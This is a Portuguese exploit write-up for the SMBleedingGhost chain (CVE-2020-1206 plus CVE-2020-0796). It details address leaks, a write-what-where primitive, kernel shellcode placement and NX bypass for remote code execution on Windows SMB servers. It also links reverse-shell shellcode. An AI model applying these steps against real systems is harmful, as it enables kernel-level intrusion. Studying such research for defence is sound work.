A ideia é escrever um shellcode abaixo da estrutura KUSER_SHARED_DATA, que possui um endereço constante, o único endereço não randomizado no layout da memória do kernel nas versões recentes do Windows. Em seguida, modificar a page table entry correspondente, tornando a página executável. O endereço base das page table entries no kernel é aleatório, mas é obtido pela função MiGetPteAddress em ntoskrnl.exe. A seguir estão as etapas que usaremos para executar nosso shellcode:
1. Usar a primitiva de leitura arbitrária para obter o endereço base de ntoskrnl.exe na tabela de importação do srvnet.
2. Ler o endereço base da page table entry a partir da função MiGetPteAddress, conforme descrito nos slides de Morten.
3. Gravar o shellcode no endereço KUSER_SHARED_DATA + 0x800 (0xFFFFF78000000800). Observe que também poderíamos usar um dos buffers do pool para armazenar o shellcode; usar KUSER_SHARED_DATA serve apenas para simplificar as coisas.
4. Calcular o endereço da page table entry correspondente e limpar o bit NX para permitir a execução, conforme descrito nos slides de Morten.
5. Chamar o shellcode usando a técnica apresentada anteriormente para invocar uma função arbitrária.
O shellcode que a Zecops usa para reverse shell é o [shellcode do sleepya](https://github.com/worawit/MS17-010/tree/master/shellcode), escrito para a exploração do EternalBlue. Eles modificaram esse shellcode para que pudesse funcionar nas versões recentes do Windows.
# Depuração

As informações de um pacote SMB têm uma estrutura semelhante à acima. Suponha que precisamos vazar o endereço do User Buffer; precisaremos ler o ponteiro UserBufferPtr. Para ler esse ponteiro, aproveitaremos a [técnica](https://github.com/datntsec/CVE-2020-1206#srvnetallocatebuffer-and-the-allocated-buffer-layout) de posicionar o campo de offset além do ponteiro para que ele seja copiado para a área de user buffer de outro buffer.
Exemplo de pacote SMB enviado pelo cliente com o seguinte conteúdo:```c
Header:
- Id = 0x424d53fc
- OriginalCompressedSegmentSize = 0x0
- CompressionAlgorithm = 1
- Flag = 0
- Offset = 0x2116
Data = ‘A’ * 0x1101.
Este pacote, ao chegar ao servidor, será armazenado em um buffer criado pela função SrvNetAllocateBuffer. Como todo o pacote tem tamanho entre 0x1100 e 0x2100, essa função retornará uma alocação com área de user buffer de tamanho 0x2100 (vamos chamá-la de Alloc A) e então armazenará as informações enviadas pelo cliente, como mostrado na figura abaixo:

Podemos ver que a parte do endereço 0xffffd38439044050 até 0xffffd38439045160 são os dados enviados pelo cliente; a parte de 0xffffd38439045160 até 0xffffd38439046150 são dados não inicializados no lado do servidor; a parte de 0xffffd38439046150 até 0xffffd38439046240 são os dados do SRVNET_BUFFER_HDR do Alloc A. Assim, o ponteiro que queremos ler estará em 0xffffd38439046150 + 0x18 = 0xffffd38439046168.
Para ler esse ponteiro, usei a técnica que mencionei acima, definindo o campo offset para além do ponteiro que se deseja ler. Por isso, embora o pacote acima tenha tamanho menor que 0x2100, o offset foi definido como 0x2116.
Em seguida, o servidor SMB chamará a função SrvNetAllocateBuffer para alocar uma região de memória com base na soma de OriginalCompressedSegmentSize e Offset (0x2116). Com isso, ele aloca um alloc com área de user buffer de tamanho 0x4100 (vamos chamá-la de Alloc B). Os dados alocados terão a seguinte forma:

Para evitar erros indesejados, anteriormente criei repetidamente vários buffers na mesma lookaside list do Alloc B e os preenchi com bytes 0x0.
Em seguida, o servidor SMB descompactará os dados compactados e copiará os dados não compactados enviados pelo cliente para a área de user buffer do Alloc B:

Como podemos ver, não há dados compactados porque OriginalCompressedSegmentSize = 0; o programa copiará os dados de 0xffffd38439044060 até 0xffffd38439044060 + 0x2116 = 0xffffd38439046176 do Alloc A para a área de user buffer do Alloc B. Assim, parte das informações do SRVNET_BUFFER_HDR do Alloc A foi copiada para a área de user buffer do Alloc B.
Agora usaremos a técnica mencionada anteriormente para vazar o endereço do allocation pool (endereço do User Buffer).
Suponha que queiramos saber se um byte no endereço 0xffffd3843636f15e é maior que 0x7f. Criaremos um pacote SMB com as seguintes informações:``` c Header:
Por que é necessário criar um SMB assim? Vamos analisar passo a passo. Primeiro, a soma de OriginalCompressedSegmentSize e Offset é 0x4100, então será reutilizado um alloc com um user buffer semelhante, ou seja, o Alloc B usado anteriormente. Como queremos adivinhar se 1 byte no endereço 0xffffd3843636f15e é maior que 0x7f, e esse endereço está a 0x210e de distância do endereço do user buffer, os dados não comprimidos terão 0x210e bytes ('B' * 0x210e). Em seguida, virá a região de dados comprimidos válidos (comprimidos pela função compress()), seguida por dados comprimidos inválidos ('\xff' * 0x1fe9). Assim, ao realizar a descompressão, apenas os dados comprimidos válidos serão descomprimidos para outra região de alloc; depois a conexão será interrompida devido aos dados comprimidos inválidos posteriores, e a região de dados não comprimidos não será copiada para esse alloc, preservando assim a parte que copiamos anteriormente.

Acima está um Alloc contendo as informações que mencionamos anteriormente, criado pelo servidor SMB.
Em seguida, o servidor SMB chamará a função SrvNetAllocateBuffer para criar um Alloc correspondente. Como a soma de OriginalCompressedSegmentSize e Offset é 0x4100, o Alloc B será reutilizado:

Depois, o servidor SMB descomprime as informações enviadas pelo cliente para a região de user buffer do Alloc B correspondente ao offset.

Os dados em vermelho são os dados descomprimidos, o restante será preservado. Como podemos ver na figura acima, o byte que precisamos saber será preservado, logo após ele estão os dados recém-descomprimidos.
Para saber se esse byte é maior que 0x7f, procedemos da seguinte forma:
Continuamos criando um pacote SMB com o seguinte conteúdo:``` c
Header:
- Id = 0x424d53fc
- OriginalCompressedSegmentSize = 0x2004
- CompressionAlgorithm = 1
- Flag = 0
- Offset = 0x20fd
Data = ‘B’ * 0x20f1
Embora o total de OriginalCompressedSegmentSize e Offset seja maior que 0x4100, ao alocar a região alloc para armazenar o pacote enviado pelo cliente (com tamanho total abaixo de 0x4100), o servidor SMB ainda aloca apenas um Alloc cuja área de user buffer é de 0x4100 bytes, como mostrado abaixo:

Os dados destacados em verde acima são dados do Alloc B alocado anteriormente; por estarem na mesma lookaside list, foram reutilizados.
Em seguida, o SMB Server chama a função SrvNetAllocateBuffer para alocar um Alloc contendo os dados após a descompressão:

Por meio da descompressão, o SMB server obtém os dados do endereço do User buffer + Offset = 0xffffd3843636d060 + 20fd = 0xffffd3843636f15d. Os dados extraídos terão a seguinte forma:

Com o algoritmo de descompressão mencionado acima, ele extrai os primeiros 2 bytes e os usa como length do bloco; com base nesse length, ele extrai a parte seguinte após o length e descomprime.
Acima, o length seria 0xB0D3; no entanto, de acordo com o algoritmo, seu length real segue a fórmula: length = length & 0xFFF + 1 → o length será 0xD4. Ele extrai os próximos D4 bytes e realiza a descompressão normalmente até encontrar o byte FF (já que os 0xD4 bytes incluem todos os bytes 00 e uma parte do byte FF). Nesse momento, os dados comprimidos são considerados inválidos; ele não descomprime mais e encerra a conexão.

Com base no encerramento da conexão pelo servidor, podemos deduzir que o byte que precisamos saber é maior que 0x7f.
E se o byte que precisamos adivinhar for menor? Continuaremos a análise acima, mas desta vez usaremos o byte de comparação D7, de modo que D3 seja menor que D7. Vamos ver o que acontece:
Primeiro, enviamos ao servidor SMB o seguinte pacote:``` c Header:
Do lado do servidor SMB, será criado um alloc de armazenamento da seguinte forma:

Em seguida, ele chamará a função SrvNetAllocateBuffer para alocar um alloc da seguinte forma:

Naturalmente, esse alloc é reutilizado de um alloc da mesma lookaside list (Alloc B). Em seguida, o programa realiza a descompressão normalmente com os dados comprimidos válidos e encerra a conexão quando os dados comprimidos são inválidos:

No próximo passo, enviaremos novamente dados semelhantes aos da vez anterior e o servidor SMB alocará um alloc correspondente:

Os dados destacados em verde acima são dados do Alloc B alocado anteriormente; por pertencerem à mesma lookaside list, são reutilizados.
Em seguida, o servidor SMB chamará a função SrvNetAllocateBuffer para alocar um Alloc contendo os dados após a descompressão:

Através da descompressão, o servidor SMB obtém os dados a partir de User buffer address + Offset = 0xffffd3843636d060 + 20fd = 0xffffd3843636f15d. Os dados extraídos terão o seguinte formato:

Semelhante à vez anterior, o length inicial será 0xB0D3, que após o cálculo se torna 0xD4. Em seguida, ele extrairá os próximos D4 bytes e realizará a descompressão normal. No entanto, como D4 < D7, os dados comprimidos extraídos para descompressão neste momento contêm apenas bytes 0. Ele descomprime normalmente até o final desse bloco. Em seguida, ele obterá o comprimento do próximo bloco por meio do comprimento do bloco anterior; os próximos dois bytes, D5 e D6, são 0x0, portanto o comprimento neste momento é 0x0, resultando em um length extraído de 0x0000 → o processo de descompressão é encerrado → a descompressão é bem-sucedida → o servidor SMB retorna uma resposta → sabemos que o byte desejado é menor ou igual a 0xD7.
De forma semelhante, repetiremos o processo até vazar todos os 6 bytes de um endereço. Assim, obteremos o allocation pool address.
Com o allocation pool address em mãos, encontraremos o srvnet base address obtendo o ponteiro para a estrutura SRVNET_RECV de maneira semelhante ao vazamento do allocation pool address.
Após obter os dois endereços, allocation pool e SRVNET_RECV, com os valores `0xffffd38439044000` e `0xffffd3843654ddd8`, respectivamente, prosseguimos com o vazamento do srvnet base address.


Para ler o ponteiro AcceptSocket, precisamos fazer o seguinte:
1. Preparar o Alloc A a partir de uma lookaside list de modo que a região do “User buffer” seja preenchida com zeros. Esse buffer posteriormente conterá o ponteiro que leremos. Aqui, o Alloc A será obtido do Alloc correspondente ao allocation pool address que vazamos. Portanto, a região do User buffer do Alloc A começará no endereço 0xffffd38439044050, por meio do uso da mesma lookaside list.
2. Preparar o Alloc B a partir de uma lookaside list diferente, de modo que:
- O ponteiro pMdl1 aponte para o endereço do ponteiro AcceptSocket menos 0x18, (pois o offset de MappedSystemVa é 0x18 na estrutura MDL).
- O ponteiro pMdl2 aponte para a região do “User buffer” do Buffer A.
- O campo Flags seja definido como 0x03.
Assim, os endereços dos dois ponteiros Mdl são, respectivamente: mdl1_ptr: `0xffffd3843654de68`, mdl2_ptr: `0xffffd38439045250`.
Podemos sobrescrever os campos da estrutura SRVNET_BUFFER_HDR descomprimindo-os a partir de um buffer maior, usando a técnica descrita na seção [Observation #2](https://github.com/datntsec/CVE-2020-1206#observation-2-failing-the-decompression).
Explicarei essa etapa com mais detalhes logo após a etapa 4.
3. Quando o Buffer B for liberado, as seguintes operações ocorrerão:
- Os MDL flags serão lidos a partir do segundo MDL no buffer A. Se a flag MDL_PARTIAL_HAS_BEEN_MAPPED estiver definida, MmUnmapLockedPages será chamada e o sistema poderá travar. É por isso que precisamos preencher o buffer com zeros na etapa 1.
- A região do “User buffer” do Alloc A será modificada e conterá as informações que precisamos ler.
4. Ler o ponteiro AcceptSocket da região do “User buffer” do buffer A.
- Usar a técnica de vazamento de endereço já empregada acima para ler o ponteiro AcceptSocket.
A seguir, descreverei com mais detalhes as etapas acima:
A etapa 1 é bastante simples e semelhante ao que foi feito acima, portanto não a abordarei novamente.
Na etapa 2, primeiramente criaremos um pacote a ser enviado ao servidor SMB com o seguinte conteúdo:``` c
Header:
- Id = 0x424d53fc
- OriginalCompressedSegmentSize = -0x38
- CompressionAlgorithm = 1
- Flag = 0
- Offset = 0x10138
Data = ‘A’ * 0x10138 + compress(mdl1_ptr + ‘\x00’*0x10 + mdl2_ptr) + ‘\xff’*0x10
Como podemos ver, OriginalCompressedSegmentSize contém um valor negativo e a soma OriginalCompressedSegmentSize + Offset = 0x10100. No entanto, o tamanho do pacote que o cliente envia ao servidor é maior que 0x10100. Assim, o Alloc inicial criado pelo servidor antes da descompressão será maior que o Alloc que contém os dados após a descompressão. O valor de OriginalCompressedSegmentSize é definido como negativo aqui para que a soma de OriginalCompressedSegmentSize e Offset seja exatamente igual a 0x10100, sem afetar a posição dos dados compactados, pois isso depende do Offset. Já 0x38 é o offset do ponteiro Mdl1 na estrutura SRVNET_BUFFER_HDR.
Assim, o servidor criará um Alloc contendo os dados do cliente da seguinte forma:

Em seguida, ele chamará a função SrvNetAllocateBuffer para alocar um alloc cujo tamanho da área do User buffer é 0x10100, ou seja, o Alloc B, conforme os passos acima:

Prosseguindo com a descompressão, obviamente apenas uma parte dos dados válidos é descomprimida:

Com base nas imagens acima, pode-se ver que a área dos 2 ponteiros Mdl no SRVNET_BUFFER_HDR do Alloc B foi modificada para o valor que desejamos.
Semelhante ao anterior, desta vez definiremos o flag como 3 ajustando o offset do pacote enviado da seguinte forma:``` c Header:
Finalmente, terá a seguinte forma:

Quando o Alloc B for liberado, os seguintes trechos de código serão executados:``` c
pMdl1->MappedSystemVa = (BYTE*)pMdl1->MappedSystemVa + 0x50;
pMdl1->ByteCount -= 0x50;
pMdl1->ByteOffset += 0x50;
pMdl1->MdlFlags |= 0x1000; // MDL_NETWORK_HEADER
pMdl2->StartVa = (PVOID)((ULONG_PTR)pMdl1->MappedSystemVa & ~0xFFF);
pMdl2->ByteCount = pMdl1->ByteCount;
pMdl2->ByteOffset = pMdl1->MappedSystemVa & 0xFFF;
pMdl2->Size = /* some calculation */;
pMdl2->MdlFlags = 0x0004; // MDL_SOURCE_IS_NONPAGED_POOL
Conforme acima, pMdl1->MappedSystemVa (offset 0x18) conterá o valor de pMdl1->MappedSystemVa + 0x50 = 0xffffd3843654de68 + 0x18 + 0x50 = 0xffffd3843654ded0.
Antes de liberar Alloc B, SRVNET_RECV será:

Após executar as 4 primeiras linhas do trecho de código acima:

Antes de liberar Alloc a:

Após executar todo o trecho de código acima:

E os bytes que precisamos ler em Alloc A serão os bytes azuis abaixo:

Assim, basta usar a técnica de leak byte a byte acima para obter o endereço de AcceptSocket + 0x50. Como nesta parte, será 0xffffd3843ea02418 → AcceptSocket: 0xffffd3843ea023c8
Da mesma forma, faremos o mesmo para fazer leak do endereço de AcceptSocket→ srvnet!SrvNetWskConnDispatch
Precisamos preparar tudo da seguinte forma:

Após Alloc B ser liberado, tudo mudará da seguinte forma:

Os bytes que precisamos saber para obter o endereço de AcceptSocket-> srvnet!SrvNetWskConnDispatch + 50 estarão em Alloc A; esses bytes são os destacados em azul na imagem abaixo:

Assim, AcceptSocket-> srvnet!SrvNetWskConnDispatch será 0xfffff80060e9d170; assumindo que já conhecemos seu offset no módulo srvnet.sys, poderemos calcular o endereço da base do srvnet.
Nesta parte, a base do srvnet é: 0xFFFFF80060E70000 com o offset de srvnet!SrvNetWskConnDispatch sendo 0x2d170.
Em seguida, usaremos a técnica de primitiva Write-what-where do CVE-2020-0796 para escrever arbitrariamente em uma região de memória.
Primeiro, encontraremos uma maneira de fazer leak do endereço base do ntoskrnl, através do leak do endereço da função IoSizeofWorkItem importada pelo srvnet. Para fazer isso, primeiro criaremos 2 estruturas UNICODESTRING da seguinte forma:``` c // Destination unicode string desLength = 6; desMaximumLength = 6; desBuffer = allocation_pool_object_ptr + 0x1650 + 0x20 + 2;
// Source unicode string srcLength = 6; srcMaximumLength = 6; srcBuffer = srvnet_base_ptr + OFFSETS['srvnet!imp_IoSizeofWorkItem'];
Com `allocation_pool_object_ptr` sendo o endereço do allocation pool vazado e `OFFSETS['srvnet!imp_IoSizeofWorkItem']` sendo o offset da função IoSizeofWorkItem importada pelo srvnet.
Essas 2 estruturas UNICODE_STRING serão armazenadas em `allocation_pool_object_ptr + 0x1650` por meio da técnica Write-what-where encontrada na CVE-2020-0796.
Primeiro, vamos armazenar a Destination unicode string em `allocation_pool_object_ptr + 0x1650` e então criar o pacote SMB da seguinte forma:``` c
Header:
- Id = 0x424d53fc
- OriginalCompressedSegmentSize = 0xffffffff
- CompressionAlgorithm = 1
- Flag = 0
- Offset = 0x22
Data:
sentinel = os.urandom(2) // 16 bits for verification
data = struct.pack('<HHIQ', desLength, desMaximumLength, 0, desBuffer) // dest unicode string
data += struct.pack('<HHIQ', srcLength, srcMaximumLength, 0, srcBuffer) // src unicode string
data += sentinel
data_to_compress = os.urandom(0x1100 - len(data))
// 0x18 null bytes that override the struct.
data_to_compress += b'\x00'*0x18
// Target address.
data_to_compress += struct.pack('<Q', allocation_pool_object_ptr + 0x1650)
data = data + compress(data_to_compress)
Acima, os dados contêm um sentinela gerado pela função os.urandom(2), que terá 2 bytes de comprimento, e esses 2 bytes nos ajudarão a saber se o endereço que vazamos é realmente o endereço que precisamos vazar, comparando-o após o processo de vazamento ser bem-sucedido.
Se o tamanho total do pacote enviado pelo cliente for maior que 0x1100 (isso dependerá dos dados aleatórios gerados antes da compressão), então com certeza allocation_pool_object_ptr será usado para armazená-lo no servidor SMB:

Em seguida, o servidor SMB chamará a função SrvNetAllocateBuffer para alocar uma região de memória para a descompressão. Porém, como a soma de OriginalCompressedSegmentSize e Offset é 0x21, ele aloca apenas uma região com user buffer de tamanho 0x1100:

O erro de heap overflow ocorre (conforme apresentado no CVE-2020-0796) e, após o servidor SMB descomprimir (antes que a cópia dos dados não comprimidos ocorra), teremos:

Assim, o ponteiro UserBufferPtr agora aponta para o início de allocation_pool_object_ptr + 0x1650 e, quando o processo de cópia ocorre, allocation_pool_object_ptr será:

Da mesma forma, inseriremos um sentinela abaixo, enviando o seguinte pacote:``` c Header:
Assim, quando o servidor SMB recebe o pacote, ele aloca a região de memória correspondente; nesse momento, a região alocada é allocation_pool_object_ptr e conterá os seguintes dados:

Após o processo de descompactação, os dados serão:

Assim, criamos duas strings Unicode e duas sentinelas para validar os dados que vazamos.
Em seguida, chamaremos a função `RtlCopyUnicodeString` e passaremos as duas strings Unicode acima.
Para chamar a função `RtlCopyUnicodeString`, primeiro sobrescreveremos o ponteiro HandlerFunctions com o endereço da função `RtlCopyUnicodeString`; essa função é importada pelo módulo srvnet e tem offset (no meu módulo) de 0x32288.
Assim, com a técnica write-what-where, gravaremos o endereço 0xFFFFF80060E70000 + 0x32288 - 0x8 em HandlerFunctions.
Primeiro, vazaremos um ponteiro SRVNET_RECV (0xffffe00f0b593dd8).

Salvaremos a conexão para continuar enviando os pacotes abaixo.
Em seguida, usaremos a técnica write-what-where para gravar no ponteiro RtlCopyUnicodeString - 0x8 (o motivo do - 0x8 é fazer a função RtlCopyUnicodeString substituir a função Srv2ReceiveHandler em HandlerFunctions)

Depois, gravaremos sequencialmente os 2 ponteiros das 2 strings Unicode criadas acima nos 2 argumentos de HandlerFunction

Nesse momento, na mesma conexão, a função Srv2ReceiveHandler foi substituída por RtlCopyUnicodeString; portanto, quando enviamos um pacote, a função RtlCopyUnicodeString será chamada e copiará a Unicode String.

O próximo passo é vazar 10 bytes de endereço de 0xffffd38439045670 a 0xffffd3843904567a (incluindo as 2 sentinelas nas duas extremidades do endereço a ser vazado). Depois, verificamos se os 2 bytes no início e no fim do endereço vazado são sentinelas; se forem, o vazamento está correto (0xfffff8068152c380).
Depois de vazar o endereço nt!IoSizeofWorkItem (0xfffff8068152c380), subtraímos seu offset (0x12C380) para obter o endereço base do ntoskrnl (0xfffff80681400000)
Observe que cada offset de cada arquivo de módulo difere entre as versões do Windows; portanto, certifique-se de ter o arquivo de módulo correto na máquina alvo.
Da mesma forma, depois de obter o endereço base do ntoskrnl, obteremos MiGetPteAddress (0xBA968) e o endereço base da PTE (MiGetPteAddress + 0x13):

No próximo passo, gravaremos o shellcode em 0xFFFFF78000000800 usando a técnica write-what-where. Em seguida, recalcularemos o endereço do shellcode na PTE usando a fórmula abaixo e limparemos o bit NX para que o shellcode possa ser executado:``` c
shellcode_addr >>= 9
shellcode_addr &= 0x7FFFFFFFF8
shellcode_addr += pte_base
Por fim, escreveremos o endereço do shellcode em allocation_pool_object_ptr + 0x50 + 0x1600 e chamaremos o shellcode substituindo esse endereço por HandlerFunctions e passando o endereço nt_base_ptr para o shellcode.
Aproveite o RCE :))
DatntSec. Viettel Cyber Security.
| → Tamanho da alocação ↓Processador lógico | 0x1100 | 0x2100 | 0x4100 | 0x8100 | 0x10100 | 0x20100 | 0x40100 | 0x80100 | 0x100100 |
|---|
| Processador 1 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 |
| Processador 2 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 |
| ... | |||||||||
| Processador n | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 |